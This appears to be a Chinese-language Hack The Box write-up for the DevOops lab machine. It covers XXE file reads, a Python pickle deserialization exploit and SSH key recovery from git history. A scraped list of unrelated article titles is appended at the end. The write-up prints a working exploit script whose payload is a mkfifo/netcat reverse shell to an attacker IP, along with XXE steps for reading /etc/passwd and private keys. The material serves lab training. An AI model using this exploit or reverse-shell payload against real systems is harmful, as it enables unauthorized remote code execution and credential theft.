HTB-DevOops

  • 信息收集
    • 5000端口
  • 立足
    • python反序列化攻击
    • XEE读取SSH
  • root
  • python反序列化

信息收集

5000端口

根据文字所述,下面的图片是feed.py。

目录扫描

/upload如下:

上传测试xml文件。

得到反馈

怀疑是标签不匹配,尝试寻找匹配的标签。前面首页有提示:XML elements: Author, Subject, Content

构造XML如下:

<?xml version="1.0" encoding="UTF-8"?>
<channel>
<Author>Aster</Author>
<Subject>XEE TEST</Subject>
<Content>TEST :)</Content>
</channel>


XEE利用,外部实体访问/etc/passwd。

立足

python反序列化攻击

找找看feed.py在哪里,就在当前目录下。

def uploaded_file(filename):return send_from_directory(Config.UPLOAD_FOLDER,filename)@app.route("/")
def xss():return template('index.html')@app.route("/feed")
def fakefeed():return send_from_directory(".","devsolita-snapshot.png")@app.route("/newpost", methods=["POST"])
def newpost():# TODO: proper save to database, this is for testing purposes right nowpicklestr = base64.urlsafe_b64decode(request.data)
#  return picklestrpostObj = pickle.loads(picklestr)return "POST RECEIVED: " + postObj['Subject']## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')if __name__ == "__main__":app.run(host='0.0.0,0', Debug=True)

有一个/newpost,并且功能是以POST请求访问/newpost,POST的data会被url解码,接着被反序列化。这里存在一个python的反序列化攻击。

import pickle
import requests
from base64 import urlsafe_b64encode
import osurl = "http://10.10.10.91:5000/newpost"
ip = "10.10.14.31"
port = 443
payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %i >/tmp/f" %(ip,port)
print(payload)class Poc(object):def __reduce__(self):return (os.system,(payload,))
postdata = urlsafe_b64encode(pickle.dumps(Poc()))
print("[*]Sending data:%s" % postdata)
res = requests.post(url,data=postdata)


XEE读取SSH

在前面读取/etc/passwd的基础上,进一步读取roosa用户的ssh id_rsa。

git用户的读取失败。



roosa根目录存在gitconfig文件以及run-blogfeed.sh可执行文件run-blogfeed.sh的内容如下:

知道了blogfeed的路径:/home/roosa/work/blogfeed/src,跟随来到目录。

root

有.git文件,可能会涉及到git的回滚。使用git log查看commit history。

使用git diff 1422e5a04d1b52a44e6dc81023420347e257ee5f在最早的commit发现了一个ssh的私钥。


可能是ssh的私钥错的,继续看commit,git diff d387abf63e05c9628a59195cec9311751bdb283f

python反序列化

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化

pickle模块中常用的四种方法:

四种方法 作用
pickle.dump(obj, file) 将序列化的结果保存在file中
pickle.load(file) 加载file中的内容并将其反序列化为对象
pickle.dumps(obj) 将对象序列化为字符串字节流
pickle.loads(bytes_obj) 把字符串字节流反序列化为对象

对象的序列化与反序列化例子:

为什么是reduce来帮助反序列化执行代码?记得PHP反序列化中的魔术方法__wake()么。在pickle中的__reduce__魔法方法和wake类似,会在反序列化时自动触发。为什么是reduce?去看看官方文档怎么说。

感受到了文字的魅力,看了像没看一样。其实很容易理解,官方文档将reduce分为了两种情况:

  • 返回字符串,该字符串会被当作一个本地模块,只不过这个模块名放在一个全局变量中。举个例子:有个老外在国外工作,他那边对他的职业描述是矩形立方体空间移动工程师(全局变量),他被派到国内来工作(本地),他发现他找不到矩形立方体空间移动工程师这个岗(模块本地名),于是他去公司职业一览图找(模块命名空间),结果发现了在国内叫搬砖(找到所属模块)。
  • 返回元组,元组应该有2到6个元素(tuple[1]~tuple[5]),前两个元素必须具备,后四个可选元素可空可省。重点来了,第一个元素是可调用对象,第二个是前面调用对象的参数。这两个就是执行命令的关键。举个例子我第一个元素是print,第二个元素aster,那么反序列化的时候会发生什么呢?

可能会很好奇,为什么这个元组看起来有点畸形,仔细看第二个元素类型也是元组。所以如果我们这样输入(“aster”),python会以为就是一个字符串aster,如果输入(“aster”,),python就会认为这是元组。


这就解释了为什么一眼看过去很畸形的原因。好的,为什么在class加上object对象?来,让我们看看为什么。我们有如下代码,A类是没有加上object对象。

而A类只有这三个对象可供选择。

接下来看看继承object对象后的B呢。有没有看到reduce呢。

由于版本的更新,后续高版本会自己添加object,为了兼容性还是要继承object。

接着我们在反序列化的时候要调用计算器(calc.exe)该怎么做呢?


接着最后一个问题,为什么要加上import os?首先我能肯定的是你在构造Poc的时候不加你没办法使用os.system。其次,暂时没找到有关这方面的描述文档,所以只能猜测python会自动导入没有导入的库。
好了,python的反序列化简单介绍了一下,这有一篇阮行止大佬的非常好的文章,强烈建议看看。

HTB-DevOops相关推荐

  1. 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好?...

    我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...

  2. linux htb 源代码,LINUX TC:HTB相关源码

    LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...

  3. Linux 工具 | 第1篇:高级流控-TC+HTB+IFB+内核模块

    作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...

  4. linux下TC+HTB流量控制

    C规则涉及到 队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...

  5. HTB打靶(Active Directory 101 Mantis)

    namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...

  6. Linux TC 流量控制与排队规则 qdisc 树型结构详解(以HTB和RED为例)

    1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...

  7. 漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试

    本文作者:是大方子(Ms08067实验室核心成员) ﹀ ﹀ ﹀ 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...

  8. HTB打靶(Active Directory 101 Reel)

    nmap扫描目标 nmap -A -T4 10.10.10.77 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 01:30 EST Nma ...

  9. HTB靶场系列 Windows靶机 Granny靶机

    勘探 还是使用nmap进行侦擦 先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...

  10. HTB Optimum[Hack The Box HTB靶场]writeup系列6

    这是HTB retire machine的第六台靶机 目录 0x00 靶机情况 0x01 信息搜集 端口扫描 检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序 执行s ...

最新文章

  1. oracle不维护java_宣布 Java 8 停止维护后,Oracle 又毙掉了 JavaOne!
  2. 数据可视化高级部分:如何使用轨迹地图对路径数据进行分析
  3. 在wp中,使用NavigationService.Navigate导航页面出现错误
  4. three.js(七) 绘制到WebGLRenderTarget
  5. -bash:fork:Resource temporarily unavailable
  6. 我对C++的一些疑问
  7. 【Spring] Spring boot 报错 Unable to start ServletWebServerApplicationContext due to missing ServletWe
  8. 第二轮 冲次会议第一次
  9. Protobuf实现Android Socket通讯开发教程
  10. 什么是干接点、湿接点、源型、漏型、NPN、PNP
  11. 【读书笔记】重新定义团队
  12. win7找回快速启动栏
  13. sh股票是什么意思?
  14. java caller_callee和caller属性的区别
  15. 《软件设计的哲学》读书总结
  16. matlab矩阵逆时针旋转90度
  17. Linux命令行与shell脚本(17)--正则表达式
  18. CSDN学习(一) -- 什么是CSDN
  19. go concurrent map writes map并发问题
  20. 一些关于网页设计的优秀网站

热门文章

  1. 开始入秋,一场秋雨一场寒
  2. 线性代数张宇1000题 第六章 向量组
  3. 《少儿语言培训服务规范》出台 iTutorGroup少儿英语完美契合规范发展
  4. oracle 级联删除触发器,sql触发器级联删除
  5. MVC 网上招聘系统的设计与实现java jsp 程序设计 课程设计 毕业设计-附源码02135
  6. 中国联通智网创新中心2021春招笔试题
  7. 计算机专业英语公开课教案,大班英语公开课教案
  8. 建筑施工技术【17】
  9. 作为一个软件测试,正在努力种树
  10. 快码住这篇实用的思维导图软件推荐攻略